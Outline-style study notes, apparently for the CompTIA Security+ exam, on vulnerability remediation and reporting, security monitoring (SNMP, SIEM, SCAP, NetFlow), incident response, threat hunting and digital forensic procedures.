        - Incorrectly stated vulnerability

- *True Negative*
  - Correctly identifies the absence of a vulnerability
- *False Negative*
  - Serious finding – vulnerability exists but remains undetected

- Prioritizing Vulnerabilities
  - Ranking identified vulnerabilities by severity and potential impact
  - Factors include ease of exploitation, potential damage, system importance
  - Use scoring systems like Common Vulnerability Scoring System (CVSS)
  - Ensure focus on the most critical security threats
- Classifying Vulnerabilities
  - Categorizing vulnerabilities based on type, potential impact, and affected systems
  - Streamlines management and response efforts
  - Vulnerabilities might be classified into categories such as
    - Software flaws
    - Configuration errors
    - Security policy gaps
  - CVE (Common Vulnerabilities and Exposures)
    - System that provides a standardized way to uniquely identify and reference known vulnerabilities in software and hardware
    - Provides solutions and mitigation strategies
    - Help assess security and prioritize vulnerability fixes
- Organizational Impact of Vulnerabilities
  - Assessing potential impact on confidentiality, integrity, and availability
  - Consider industry-specific impact
  - Impact on reputation, business continuity, regulatory fines, customer trust

- *Exposure Factor (EF)*
  - A quantifiable metric to estimate the percentage of asset damage
  - Helps understand potential loss due to vulnerability exploitation
  - Supports qualitative risk management in the organization
- *Risk Tolerance*
  - The level of risk an organization is willing to accept
  - Determines the urgency of vulnerability remediation
  - High risk tolerance may allow monitoring of certain vulnerabilities
  - Low risk tolerance may require swift remediation of even minor vulnerabilities
  - Alignment of vulnerability management with overall business strategies and objectives

- **Vulnerability Response and Remediation**
  - *Vulnerability Response and Remediation*
    - Involves strategies and actions for identifying, assessing, and addressing vulnerabilities
    - Aims to mitigate risks associated with known vulnerabilities
  - *Patching*
    - Process of applying updates to fix software, system, or application vulnerabilities
    - Patches released by software vendors
    - End users must update their software to apply security patches
  - *Insurance Policy*
    - Procuring a cybersecurity insurance policy as a risk management strategy
    - Mitigates financial losses resulting from cyber incidents (data breach, network outage, business interruption)
    - Covers mitigation, remediation, recovery costs, legal fees, public relations, and

customer notification

- *Network Segmentation*
  - Dividing a network into smaller segments to improve performance and security
  - Isolates segments from each other to prevent threat propagation
- Compensating Controls
  - Alternative security measures when standard controls cannot be effectively implemented
  - Tailored to provide equivalent protection
- Exception and Exemption
  - *Exception*
    - Temporarily relaxing or bypassing security controls or policies for operational business needs, with an understanding of associated risks
  - *Exemption*
    - A permanent waiver of security controls or policies due to specific reasons, often for legacy systems

- **Validating Vulnerability Remediation**
  - *Remediation*
    - Involve installing patches, reconfiguring devices, or other actions
  - Rescanning Devices
    - Conduct post-remediation scans to double-check vulnerability mitigation
    - Identify any remaining unaddressed vulnerabilities
    - Detect new vulnerabilities that may have emerged since the initial scan
    - Validate whether applied patches effectively solved the identified vulnerabilities
    - Suggestions
      - Schedule automatic re-scans and maintain consistency with initial scan

conditions
- Use comprehensive scans
- Replicate initial scan conditions

- Auditing Devices
  - *Auditing*
    - Involves systematic review of logs, configurations, and patches
    - Ensures alignment with established security standards and policies
  - *Configuration Auditing*
    - Checks for misconfigurations or deviations
  - *Patch Auditing*
    - Confirms proper application and effectiveness of patches
  - Maintain detailed records of vulnerabilities, patches, and changes
  - Use automated auditing tools and include compliance checks for industry regulations or standards
- Verification of Devices
  - *Verification*
    - Final step in validating remediation
    - Involves testing systems to confirm patches and configuration changes
  - Conduct penetration tests to verify vulnerability remediation
  - *User Verification*
    - Ensures applications and services are functioning correctly
  - Establish feedback loops with users and staff to identify and address post-remediation issues
  - Perform
    - Holistic testing
    - Continuous monitoring

        - Consider external auditors for verification
    - Verify both the resolution of vulnerabilities and overall system stability and functionality

- **Vulnerability Reporting**
    - *Vulnerability Reporting*
        - Process of documenting and communicating security weaknesses in software or systems to individuals and organizations responsible for addressing the issues
        - Reports should use clear, concise, and transparent language
        - Confidentiality is crucial to prevent exploitation, reputation damage, and legal repercussions
    - *Internal Reporting*
        - First line of defense in vulnerability management within the organization
        - Identifying, documenting, and communicating vulnerabilities within the organizational structure
        - Information remains internal
        - Timely reporting reduces exposure to unpatched vulnerabilities
        - Establish clear communication paths and protocols
    - *External Reporting*
        - Reporting vulnerabilities outside the organization, involving vendors, partners, customers, or the public
        - Coordinating with vendors to address vulnerabilities for the benefit of all customers
        - Sharing non-sensitive details with databases like CVE or vendor knowledge bases
        - Respect privacy when discussing vulnerabilities with external organizations

- Responsible Disclosures
  - Ethical and judicious disclosure to affected stakeholders before public announcement
  - Collaborate with the entity responsible for the vulnerability (e.g., software developer)
  - Consider bug bounty programs
  - Give vendors time to address the issue before public disclosure
  - Provide detailed reports, including methods used to exploit vulnerabilities and recommended mitigations
- Importance of Confidentiality
  - Confidentiality is non-negotiable to prevent exploitation
  - Vulnerability reports are valuable maps for attackers
  - Encrypt reports and use secure storage
  - Share reports on a need-to-know basis
  - Consider executive summaries for non-technical stakeholders
  - Breaching confidentiality can lead to exploitation, reputation damage, and legal repercussions

Alerting and Monitoring

Objective 4.4: Explain security alerting and monitoring concepts and tools

- **Monitoring Resources**
  - *Monitoring Systems*
    - Involves observing a computer system's performance, including
      - CPU
      - Memory
      - Disk usage
      - Network performance
  - *Baseline*
    - A reference point representing normal system behavior under typical operating conditions
    - Baseline metrics can include CPU usage, memory utilization, disk activity, and network traffic
    - Deviations from the baseline can indicate potential issues, prompting proactive troubleshooting and maintenance
  - *Application Monitoring*
    - Focuses on managing and monitoring software application performance and availability
    - Tracks errors, bottlenecks, and issues that may affect an application's performance or user experience
    - Tools like New Relic and AppDynamics track response times and error rates
    - Slower response times may indicate code problems or resource deficiencies

- *Infrastructure Monitoring*
  - Observes physical and virtual infrastructure, including servers, networks, virtual machines, containers, and cloud services
  - Provides insights into network traffic, bandwidth usage, and device status
  - Tools like SolarWinds and PRTG Network Monitor help monitor network infrastructure
  - Overloaded network switches can signal the need for additional capacity or configuration issues

- **Alerting and Monitoring Activities**
  - Alerting and monitoring utilizes a wide range of activities
    - *Log Aggregation*
      - Collects and consolidates log data from various sources into a central location
      - Aids in troubleshooting, performance monitoring, security analysis, and compliance
      - Provides a holistic view of system events for identifying issues and correlations
      - Vital for maintaining system health and analyzing performance trends
      - Used for
        - Detecting security incidents
        - Investigating breaches
        - Gathering evidence
    - *Alerting*
      - Involves setting up notifications for specific events or conditions
      - Alerts can be triggered based on thresholds or anomalies

- Critical for proactive issue resolution, incident detection, and regulatory compliance
- Delivered through various channels, such as email, SMS, or push notifications

- *Scanning*
  - Regularly examines systems, networks, or applications to identify vulnerabilities, misconfigurations, and issues
  - Includes the following
    - *Vulnerability scanning*
      - Checks for vulnerabilities in systems, networks, or applications
      - Compares system's state against a database of known vulnerabilities
    - *Configuration scanning*
      - Checks for misconfigurations that could impact system performance or security
      - Deviations are flagged for administrative review
    - *Code scanning*
      - Checks the source code of an application for potential issues, such as security vulnerabilities or coding errors
  - Utilizes tools like Nessus, OpenVAS, and Qualys
  - Helps maintain system health, security, and optimal performance
- *Reporting*
  - Generates summaries or detailed reports based on collected and analyzed data
  - Provides insights into system performance, security incidents, compliance

status, and more

- Essential for compliance reporting and continuous improvement

- *Archiving*
  - Involves long-term storage of data, including
    - Log data
    - Performance data
    - Incident data
  - Ensures data is retained for future reference, analysis, auditing, or compliance
  - Important for legal and regulatory requirements
  - Can be achieved using cloud storage solutions like Amazon S3 or Google Cloud Storage
- *Alert Response and Remediation/Validation*
  - Managing and resolving identified issues based on alerts or scans
  - Begin by taking appropriate actions such as
    - Investigating
    - Escalating
    - Initiating
  - Initial response may include investigation, escalation, or predefined procedures
  - *Remediation*
    - involves taking steps to address vulnerabilities or issues, such as patching or reconfiguration
  - *Validation*
    - verifies that remediation efforts were successful in addressing the identified problems

- *Quarantining*
  - Isolates a system, network, or application suspected of being compromised
  - Prevents the spread of threats and limits potential impact
  - Commonly used when dealing with malware infections
- *Alert Tuning*
  - Adjusts alert parameters to reduce errors, false positives, and improve alert relevance
  - Can involve changing alert thresholds, conditions, or delivery methods
  - Helps minimize excessive alerts and noise, making alerts more actionable

- **Simple Network Management Protocol (SNMP)**
  - *SNMP (Simple Network Management Protocol)*
    - An Internet protocol used for collecting information from managed devices on IP networks and modifying device behavior
    - Managed devices include the following
      - Routers
      - Switches
      - Firewalls
      - Printers
      - Servers
      - Client devices
  - *SNMP Manager*
    - A central system that collects and processes information from managed devices
    - Often set up as a server, especially in large enterprise environments
    - Sends and receives SNMP messages to and from agents

- *SNMP Agents*
  - Networked devices that send information about themselves to the manager
  - Run background services to collect data and send it to the manager
  - Transmit data at regular intervals or when requested by the manager
- SNMP Message Types
  - *SET*
    - Manager-to-agent request to change variable values
  - *GET*
    - Manager-to-agent request to retrieve variable values
  - *TRAP*
    - Asynchronous notifications from agents to the manager to notify significant events
    - Notify the manager of events such as uptime, configuration changes, and network downtime
    - May be granular or verbose
      - *Granular*
        - Sent TRAP messages get a unique object identifier OID) to distinguish each message as a unique message being received
        - *OID (Object Identifier)*
          - Unique object identifier used to identify variables for reading or setting via SNMP
          - Allows the manager to distinguish individual SNMP trap messages
        - *MIB (Management Information Base)*
          - A hierarchical namespace containing OIDs and their

descriptions

- Describes the structure of device subsystem management data
- Stores consolidated information received through SNMP traps

- *Verbose*
  - SNMP traps may be configured to contain all of the information about a given alert or event as a payload

- Data in SNMP TRAPS are stored in a simple key-value pair configuration known as a “variable binding”

- SNMP Versions 1, 2, and 3
  - SNMP versions 1 and 2 use plain-text community strings for access, making them less secure
  - SNMP version 3 offers enhanced security features
    - Security Enhancements in SNMP Version 3
      - *Integrity*
        - Hashing messages before transmission to prevent data alteration
      - *Authentication*
        - Validating the source of messages
      - *Confidentiality*
        - Adding encryption using DES, 3DES, or AES
      - Dividing SNMP components into entities with different access privileges for improved security

- **Security Information and Event Management (SIEM)**
  - *SIEM (Security Information and Event Management)*
    - A solution for real-time or near-real-time analysis of security alerts generated by network hardware and applications
    - SIEM helps correlate various events and incidents from system logs
  - Importance of Log Reviews
    - Critical for security assurance
    - Logs should be reviewed regularly and routinely, not just after an incident or as part of an instant response
  - SIEM Functionality
    - Correlates and analyzes log data
    - Consolidates data from various systems into a centralized database or repository
    - Detects patterns indicating security threats
    - Generates alerts for security teams to investigate
  - Agent-Based vs. Agentless SIEM
    - *Agent-Based*
      - Software agents are installed on each system to collect and send log data
      - Provides real-time data and detailed information
    - *Agentless*
      - Log data is collected directly from systems using standard protocols
      - Reduces maintenance but may not collect real-time or detailed data
  - SIEM Implementation Considerations
    - Log all relevant events and filter out irrelevant data
    - Establish and document the scope of events
    - Develop use cases to define threats
    - Plan incident response actions for different events

- Establish a ticketing process to track flagged events
- Schedule regular threat hunting to detect unnoticed events
- Provide auditors and analysts with an evidence trail

- Common SIEM Solutions
  - *Splunk*
    - Big data information gathering and analysis tool
    - Offers connectors for various data systems
    - Provides search processing language for data analysis
    - Comes with pre-configured templates and dashboards
  - *ELK (Elastic Stack)*
    - A collection of free and open-source SIEM tools, including the following
      - Elasticsearch
      - Logstash
      - Kibana
      - Beats
    - Components work together for log collection, storage, analysis, and visualization
  - *ArcSight*
    - SIEM log management and analytics software
    - Suitable for compliance reporting for regulations like HIPAA, SOX, and PCI DSS
  - *QRadar*
    - A SIEM log management, analytics, and compliance reporting platform created by IBM
    - Offers a dashboard for data visualization and analysis

- **Data from Security Tools**
    - *Antivirus Software*
        - Protects systems against malware, including the following
            - Viruses
            - Worms
            - Trojans
            - Ransomware
            - Spyware
        - Generates data like malware detection logs, system scans, and updates
        - Data sent to SIEM for aggregation and correlation
        - Helps identify security threats and system health
    - *Data Loss Prevention (DLP) Systems*
        - Monitor and control data endpoints, network traffic, and cloud-stored data to prevent data breaches
        - Generate data on potential data leak incidents, policy violations, and suspicious user activities
        - Flags attempts to send sensitive data outside the organization
        - Data sent to SIEM for timely corrective actions
    - Network Intrusion Detection Systems and Network Intrusion Prevention Systems
        - *Network Intrusion Detection Systems (NIDS)*
            - Passively identify potential threats and generate alerts
        - *Network Intrusion Prevention Systems (NIPS)*
            - Actively block or prevent threats from accessing the network
        - Data includes the following
            - Detected threats
            - Blocked traffic

        - Network anomalies
    - Sent to SIEM for identifying malicious activity, security vulnerabilities, and effectiveness of intrusion prevention measures
- *Firewalls*
    - Act as a barrier between trusted internal networks and untrusted external networks
    - Filter incoming and outgoing traffic based on security rules (ACLs)
    - Generate logs with data on allowed and blocked traffic, rule changes, and potential threats
        - Sent to SIEM for monitoring network perimeter security and identifying intrusion attempts
- *Vulnerability Scanners*
    - Identify security weaknesses, including missing patches, incorrect configurations, and known vulnerabilities
    - Generate data on identified vulnerabilities, severity, and remediation recommendations
    - Data integrated into SIEM to prioritize vulnerability remediation
        - Used to track remediation progress and verify the effectiveness of steps taken

- **Security Content Automation and Protocol (SCAP)**
    - *Security Content Automation Protocol (SCAP)*
        - Suite of open standards that enhances the automation of vulnerability management, measurement, and policy compliance evaluation of systems deployed in an organization
        - Developed by the National Institute of Standards and Technology (NIST)

- Enhances the automation of security tasks, including the following
  - Vulnerability scanning
  - Configuration checking
  - Software inventory

- Components of SCAP
  - SCAP comprises a suite of open standards used to automate security tasks
  - Supports standardized vulnerability scanning, results reporting, and scoring
  - Promotes vulnerability prioritization and compliance with internal and external requirements
  - Ensures that different security tools communicate using the same SCAP formatted data
- SCAP Languages
  - *OVAL (Open Vulnerability and Assessment Language)*
    - XML schema for describing system security states and querying vulnerability reports
  - *XCCDF (Extensible Configuration Checklist Description Format)*
    - XML schema for developing and auditing best-practice configuration checklists and rules
    - Allows improved automation
  - *ARF (Asset Reporting Format)*
    - XML schema for expressing information about assets and their relationships
    - Vendor and technology neutral
    - Flexible
    - Suited for a wide variety of reporting applications

- Enumeration Methods in SCAP
  - *CCE (Common Configuration Enumeration)*
    - Scheme for provisioning secure configuration checks across multiple sources
    - Provides unique identifiers for different system configuration issues
  - *CPE (Common Platform Enumeration)*
    - Identifies hardware devices, operating systems, and applications
    - Standard format:
      - cpe:/part:vendor:product:version:update:edition:language
  - *CVE (Common Vulnerabilities and Exposures)*
    - Describes publicly known vulnerabilities with unique identifiers
    - Standard format
      - CVE-Year first documented-Number
      - CVE-2017-0144
- *Common Vulnerability Scoring System (CVSS)*
  - Used to provide a numerical score reflecting the severity of a vulnerability (0 to 10)
  - Scores are used to categorize vulnerabilities as none, low, medium, high, or critical
  - Scores assist in prioritizing remediation efforts but do not account for existing mitigations
- SCAP Benchmarks
  - *Benchmarks*
    - Sets of security configuration rules for specific products to establish security baselines
    - Provide a detailed checklist that can be used to secure systems to a

specific baseline

- Expressed in the XCCDF format and used for compliance testing
- Many SCAP Benchmarks available for different systems and applications, ensuring proper system configuration and vulnerability identification
- Examples of SCAP Benchmarks
  - *Red Hat Enterprise Linux Benchmark*
    - Provides security configuration rules for Red Hat Enterprise Linux
  - *CIS Microsoft Windows 10 Enterprise Benchmark*
    - Includes security configuration rules for Microsoft Windows 10 Enterprise
- Three languages used in SCAP
  - OVAL
  - XCCDF
  - ARF

- **Network and Flow Analysis**
  - *Full Packet Capture (FPC)*
    - Captures entire packets, including headers and payloads
  - *Flow Analysis*
    - Focuses on recording metadata and statistics about network traffic, saving storage space
    - Doesn't include the actual content, just the metadata
    - Rapidly generates visualizations to map network connections, traffic types and session volumes
  - *Flow Collector*
    - Records metadata and statistics about network traffic

- Collects information about the following
  - Type of traffic
  - Protocol used
  - Data volume
- Allows for efficient data storage and reduces processing overhead

- Metadata vs. Contents
  - Flow analysis provides metadata about data, not the actual content
  - Metadata includes details about traffic types and volumes
  - No information about the content of conversations or messages sent
- Data Storage and Querying
  - Flow analysis information is stored in a database
  - Data can be queried and used to generate reports and graphs
  - Flow analysis identifies trends, patterns, and anomalies in network traffic
- *NetFlow*
  - Cisco-developed protocol for reporting network flow information
  - Also known as IPFIX (IP Flow Information Export)
  - Defines traffic flows based on shared characteristics (e.g., source and destination IP)
  - Data collected by NetFlow
    - Network protocol interface
    - IP version and type
    - Source and destination
    - IP addresses
    - Source and destination ports
    - Type of service used

- Use of NetFlow Data
  - NetFlow data is analyzed visually using various tools
  - Tools like SolarWinds display NetFlow data, highlighting flows
  - Data can be used to identify traffic patterns and anomalies

- *Zeke*
  - Hybrid tool for network monitoring
  - Monitors traffic like NetFlow but logs full packet captures based on interest
  - Filters or signatures trigger full packet capture to analyze specific data
  - Normalizes data for easy import into other tools for visualization and analysis
- *MRTG (Multi Router Traffic Grapher)*
  - Creates graphs displaying network traffic flows through routers and switches
  - Uses SNMP (Simple Network Management Protocol) to gather data
  - Helps identify traffic patterns and anomalies by visualizing data transfer volumes
- Analyzing Traffic Spikes
  - Traffic spikes can indicate anomalies
  - Investigate the cause of traffic spikes
  - Spike analysis may reveal issues like malware infection or unauthorized data transfer
- *Incident Investigation*
  - Suspicious spikes may require setting up network sniffers
  - Analyze packet capture data and flow analysis to identify indicators of compromise
  - Investigate further to understand the nature of anomalies

- **Single Pane of Glass**
    - *Single Pane of Glass (SPOG)*
        - Central point of access for security teams
        - Provides access to information, tools, and systems for monitoring, managing, and securing an organization's IT environment
        - Offers a unified view of the security posture and facilitates informed decision-making
            - Can quickly and easily access critical information, aiding informed decision-making
    - Benefits of SPOG
        - Simplifies security operations management, offering a unified view in detecting and responding to threats
        - Security teams can monitor the environment for suspicious signs like unusual traffic or failed logins
        - Security teams can track the progress of incident response, ensuring that all required steps are taken to resolve an incident
        - A SPOG can improve the efficiency of a security operation center by automating repetitive tasks
        - Improves collaboration and communication within security teams
        - Aids compliance with regulatory and compliance requirements by generating necessary documentation
    - Implementation of SPOG
        - Can be implemented as software or hardware
        - Steps for implementing
            - *Defining Requirements*
                - Identify the information, tools, and systems required for effective

security management
    - Specify data types (logs, alerts, reports) and integrate necessary tools (intrusion detection, incident response)
- *Identifying and Integrating Data Sources*
    - Identify data sources (log servers, intrusion detection systems) that need integration
    - Use APIs, webhooks, plugins, or connectors to collect and analyze data from various sources
    - Consider data formats, locations, and integration methods
- *Customizing the Interface*
    - Design a user-friendly interface
    - Configure panels and views for displaying data and information
    - Create an organized layout for navigation
- *Developing Standard Operating Procedures (SOPs) and Documentation*
    - Document procedures for using the SPOG
    - Ensure security teams understand how to use the solution
    - Promote consistency and repeatability in security operations management
- *Continuous Monitoring and Maintenance*
    - Regularly review collected data and make necessary adjustments
    - Ensure the SPOG is properly configured and secured
    - Protect against unauthorized access

Incident Response

Objective 4.8: Explain appropriate incident response activities

- **Incident Response Process**
  - *Incident*
    - An act violating a security policy
  - Phases of Incident Response
    - NIST (National Institute for Standards and Technology) defines a four-phase incident response process
      - Preparation
      - Detection and Analysis
      - Containment, Eradication and Recovery
      - Post-Incident Activity
    - In the CompTIA model, "Detection and Analysis" is divided into two phases, and "Containment, Eradication, and Recovery" is divided into three, creating a seven-phase model
  - Seven Phases of Incident Response
    - *Preparation*
      - Gets an organization ready for future incidents
      - Focuses on making systems resilient to attacks by hardening systems and networks
      - Involves creating policies, procedures, and a communication plan
    - *Detection*
      - Determines if a security incident has occurred
      - Identifies a security incident

- Cybersecurity and triage analysts play a vital role in assessing incident severity

- *Analysis*
  - Thoroughly examines and evaluates the incident
  - Provides insights into the incident's scope and impact
  - Notifies stakeholders and initiates containment
- *Containment*
  - Limits the incident's scope by securing data and minimizing business impact
  - Prevents the spread of malicious activity
- *Eradication*
  - Starts after containment
  - Focuses on removing malicious activity from systems or networks
  - May involve reimaging affected systems
- *Recovery*
  - Restores affected systems and services to their secure state
  - Includes restoring from backups, patching, and updating configurations
  - Ensures resilience against future threats
- *Post-Incident Activity*
  - Occurs after containment, eradication, and recovery
  - Identifies the initial incident source and improvements to prevent future incidents
  - Involves
    - Root cause analysis
      - Identifies the incident’s source and how to prevent it in the future

- Steps
  - Define/scope the incident
  - Determine the causal relationships that led to the incident
  - Identify an effective solution
  - Implement and track the solutions
- Lessons learned
  - Documents experiences during incidents in a forma
- After-action report
  - Collects formalized information about what occurred

- *Incident Response Team*
  - The core team includes cybersecurity professionals with incident response experience
    - Temporary members may be added as needed (e.g., database administrators)
  - Large organizations have full-time incident response teams
    - Smaller organizations form temporary teams for specific incidents
  - Team Roles
    - Leader
    - Subject Matter Experts
    - IT Support
    - Legal Counsel
    - HR
    - Public Relations
  - Leadership and management ensure the incident response team has necessary funding, resources ,and expertise

        - Management makes crucial decisions and communicates them during the incident response
    - Outsourcing Incident Response
        - Some organizations outsource incident response to specialized teams
        - Effective but expensive; external teams may not be familiar with the organization's network

- **Threat Hunting**
    - *Threat Hunting*
        - Proactive cybersecurity technique to detect threats that haven't been discovered by normal security monitoring
        - Involves actively seeking out potential threats within your network, as opposed to waiting for them to trigger alerts
    - Steps in Threat Hunting
        - Establishing a Hypothesis
            - Conduct threat modeling to identify potential threats with high impact
            - Use threat intelligence to form hypotheses about threat actors or campaigns that may target your organization
        - Profiling Threat Actors and Activities
            - Create scenarios to understand how attackers might attempt an intrusion
            - Determine the type of threat actor (insider, hacktivist, criminal, nation state)
            - Identify their objectives and potential targets
        - Threat Hunting Process
            - Utilizes security monitoring and incident response tools
            - Analyzes logs, system data, file systems, and registry information

        - Focuses on finding threats not detected by existing rules
        - Start by assuming that the current rules haven't flagged potential threats
        - Seeks new tactics, techniques, and procedures used by threat actors
    - Key Considerations
        - Threat hunters must stay updated on the latest attacks and threats
        - Use advisories and bulletins published by vendors and researchers to identify new TTPs and vulnerabilities
        - Utilize intelligence fusion and threat data, combining SIEM logs with real-world threat feeds
    - Benefits of Threat Hunting
        - Improves detection capabilities by identifying threats that bypass existing defenses
        - Enhances threat intelligence by correlating external threat feeds with internal logs
        - Provides actionable intelligence to strengthen security measures

- **Root Cause Analysis**
    - *Root Cause Analysis (RCA)*
        - Systematic process to identify the initial source of an incident and prevent it from recurring
    - Steps in Root Cause Analysis
        - Define and Scope the Incident
            - Determine the initial cause and scope of the incident
            - Understand how many systems/users have been affected and the operational impact

- Determine Causal Relationships
  - Identify the causal relationships that led to the incident
  - Understand how the incident occurred, such as through malware infection via USB drive or other vectors
- Identify Effective Solutions
  - Find solutions to prevent the incident from recurring
  - Solutions may include adding antivirus, restricting data transfer from USB devices, or applying software patches
- Implement and Track Solutions
  - Execute the solutions and ensure the incident is fully resolved
  - Use change management processes to update systems and configurations
  - Look across the network and see if there are any other machines that could have been affected

- Benefits of Root Cause Analysis
  - Identifies vulnerabilities and weaknesses in security practices
  - Creates more robust protections against cyber threats
  - Encourages a no-blame culture, focusing on solutions and improvements rather than assigning fault
    - *No-Blame Approach*
      - RCA should not assign blame to individuals or teams
      - Encourages open and honest reporting to improve cybersecurity practices
      - Recognizes that human errors often result from systemic issues within organizations, such as training procedures or regulatory oversight

- **Incident Response Training and Testing**
  - *Training*
    - Education to ensure employees and staff understand incident response processes, procedures, and priorities
    - Training should be tailored to different roles (e.g., first responders, managers, executives, end users) with specific needs
      - End user training includes teaching them how to report incidents and remedial training for those who make mistakes
    - Capture and incorporate lessons learned from previous incidents into training to prevent their recurrence
    - Soft skills and relationship building are important in high-functioning incident response teams
  - *Testing*
    - Practical exercise of incident response procedures to ensure the practical application of knowledge
    - Testing helps assess the effectiveness of your response procedures
    - It can be costly, complex, and resource-intensive, depending on the scenario
  - *Tabletop Exercise (TTX)*
    - A theoretical exercise that presents an incident response scenario
    - Discussion based
    - Participants discuss and role-play their response actions
    - Cost-effective but lacks hands-on experience
    - Useful for exploring decision-making and response planning
  - *Penetration Test (Pen Test)*
    - A red team (attacker) attempts network intrusion based on a specific threat modeling scenario

- Rules of engagement and clear methodology are established beforehand
- Popular tools and operating systems
  - Metasploit
  - Cobalt Strike
  - Kali Linux
  - ParrotOS
  - Commando OS
- Awareness of these tools is crucial, as they can be used by both penetration testers and attackers

- *Simulation*
  - Goes beyond tabletop discussions, involving realistic, hands-on scenarios
  - Mimics actual incidents
    - Simple
      - Phishing attacks,
      - Ransomware infections
    - Complex
      - Multi-stage attacks
      - Data breaches in coordination with external parties
  - Tests technical skills, decision-making under pressure, and effective communication
  - Align simulations with the organization's threat landscape and risk profile
  - Identifies gaps in incident response plans, improves team coordination, and ensures role clarity during real incidents
  - Regularly incorporating simulations improves an organization's readiness for cybersecurity incidents

- **Digital Forensic Procedures**
  - *Digital Forensics*
    - Systematic process of investigating and analyzing digital devices and data to uncover evidence for legal purposes
  - Four Main Phases of Digital Forensic Procedures
    - *Identification*
      - Focus on scene safety, prevention of evidence contamination, and scope determination
      - Secure the scene, preserve evidence, and document the scene
      - Identify where relevant data might be stored (e.g., tablets, smartphones, servers)
    - *Collection*
      - Requires proper authorization (e.g., warrant, executive authorization)
      - Order of volatility
        - Dictates the sequence in which data sources should be collected and preserved based on their susceptibility to modification or loss
        - Following order of volatility minimizes data loss
        - 5 Steps of Order of Volatility
          - Collect data from the system's memory
          - Capture data from the system state
          - Collect data from storage devices
          - Capture network traffic and logs
          - Collect remotely stored or archived data
      - *Chain of Custody*
        - Documented and verifiable record that tracks the handling, transfer, and preservation of digital evidence from the moment it

is collected until it is presented in a court of law

- Evidence Collecting techniques
  - *Disk imaging*
    - Involves creating a bit-by-bit or logical copy of a storage device, preserving its entire content, including deleted files and unallocated space
  - *File Carving*
    - Focuses on extracting files and data fragments from storage media without relying on the file system

- *Analysis*
  - Examine the forensically sound evidence copy
  - Systematically scrutinize data for relevant information, timestamps, user interactions, and signs of criminal activity
  - Follow strict procedures and documented protocols for consistency and objectivity
- *Reporting*
  - Document methods, tools used, actions performed, findings, and conclusions in a final report
  - The report serves as crucial evidence in legal proceedings, and the forensic analyst may need to testify

- Additional Concepts
  - *Legal Hold*
    - Issued when litigation is expected and preserves potentially relevant electronic data
    - Ensures evidence is not tampered with, deleted, or lost
    - Requires the implementation of preservation practices to protect systems

and evidence

- *E-Discovery (Electronic Discovery)*
  - Process of identifying, collecting, and presenting electronically stored information for potential legal proceedings
  - Involves searching, analyzing, and formatting electronic data for litigation

- Ethical Considerations
  - Adherence to a code of ethics that emphasizes avoiding bias, repeatable actions, and evidence preservation
    - Avoiding bias
      - Analysis should be performed without bias or prejudice and be based solely on the evidence
      - Use forensic analysts who are removed from the situation to avoid potential bias
    - Repeatable actions
      - All analysis must be based on repeatable processes documented in the final report
      - Ensuring the original evidence remains unchanged is critical to maintaining evidentiary integrity
    - Evidence preservation
      - Evidence includes both the device (e.g., laptop hard disk) and the data recovered from it
      - Perform analysis on a disk image, not the original drive, to prevent modifications or alterations

- **Data Collection Procedures**
  - Digital Forensic Collection Techniques
    - Involve making forensic images of data for later analysis
    - This approach allows incident response teams to resume operations quickly while maintaining evidence
    - Evidence may be required for potential legal action and cooperation with law enforcement
  - Data collection involves the following
    - Capturing and hashing system images
    - Analyzing data with forensic tools
      - FTK (Forensic Toolkit)
      - EnCase
    - Capturing machine screenshots
    - Reviewing network logs
    - Collecting CCTV video
  - *Order of Volatility*
    - Guides the sequence of collecting data, from most volatile (CPU registers and cache) to least volatile (archival media)
  - Licensing and documentation reviews ensure system configurations align with their design
  - *Data Acquisition*
    - The method and tools used to create a forensically sound copy of data from a source device, such as system memory or a hard disk
    - Policies for bringing one's own device (BYOD) complicate data acquisition because it may not be legally possible to search or seize the devices
    - Some data can only be collected once the system is shutdown or the power is

disconnected

- Order of Volatility
  - CPU registers and cache memory
  - System memory (RAM), routing tables, ARP caches, process table, temporary swap files
  - Data on persistent mass storage
  - Remote logging and monitoring data
  - Physical configuration and network topology
  - Archival data
- WARNING
  - Some Windows registry keys, like HKLM/Hardware, are only in memory and require a memory dump to analyze

Investigating an Incident

Objective 4.9: Given a scenario, you must be able to use data sources to support an investigation

- **Investigative Data**
  - *SIEM (Security Information and Event Monitoring System)*
    - Real-time analysis of security alerts from applications and network hardware
    - Combination of different data sources into one tool
    - Provides a consolidated view of network activity
    - Allows for trend analysis, alert creation, and correlation of data
    - Considerations
      - Sensors
      - Sensitivity
      - Trends
      - Alerts
      - Correlation
  - *Log Files*
    - Records events and messages in operating systems, software, and network devices
    - Includes network, system, application, security, web, DNS, authentication, dump files, VoIP, and call managers
  - *Syslog, Rsyslog, Syslog-ng*
    - Tools for centralizing log data from different systems into a repository
    - Commonly used to feed data into SIEM

- *JournalCTL*
  - Linux command-line utility for querying and displaying logs from the Journal Daemon (SystemD's logging service)
- *NXLog*
  - Multi-platform, open-source log management tool
  - Identifies security risks and analyzes logs from server, OS, and applications
- *NetFlow*
  - Network protocol for collecting active IP network traffic data
  - Provides information on source, destination, volume, and paths
- *SFlow (Sampled Flow)*
  - Open-source alternative to NetFlow
  - Exports truncated packets and interface counter for network monitoring
- *IPFIX (Internet Protocol Flow Information Export)*
  - Universal standard for exporting IP flow information
  - Used for mediation, accounting, and billing by defining data format for exporters and collectors
- *Metadata*
  - Data that describes other data
  - Useful for understanding details about events, calls, emails, web visits, and files during investigations
  - Use Cases for Metadata
    - Email
      - Analyze metadata for phishing campaigns
    - Mobile
      - Review data transfer, call duration, and contacts

- Web
    - Determine website visits and user behavior
- File
    - Examine file details, such as creation time and viewer statistics

- **Dashboards**
    - *Dashboards*
        - Graphical displays of information across multiple systems
    - *Single Pane of Glass*
        - A single screen for analysts to access everything across the organization
    - *Splunk*
        - A big data platform for ingesting various types of data, including security and incident response data
        - Collects data from firewalls, applications, endpoints, operating systems, intrusion detection systems, intrusion prevention systems, antivirus software, and networks
    - Dashboards help analyze trends over time and inform actions
    - Use the dashboard as a central starting point for investigations and incident response

- **Automated Reports**
    - *Automated Reports*
        - Generated by computer systems to provide information about various aspects of a network's security
        - Common sources are antivirus software, endpoint detection response capabilities, and other security tools

- Automated Security Incident Report Key Elements
  - *Report ID*
    - A unique identifier for the report
  - *Generation date*
    - The date the report was generated
  - *Report period*
    - The time frame covered by the report
  - *"Prepared by"*
    - The entity responsible for creating the report
  - *Executive Summary*
    - Provides a brief overview of the report's content, helping readers determine its relevance
  - *Incident Alerts*
    - Can be categorized into different levels
      - Critical
      - High
      - Moderate
      - Informational
  - Incident Details
    - Timestamps
    - User accounts
    - Affected systems
    - Incident descriptions
    - Actions taken
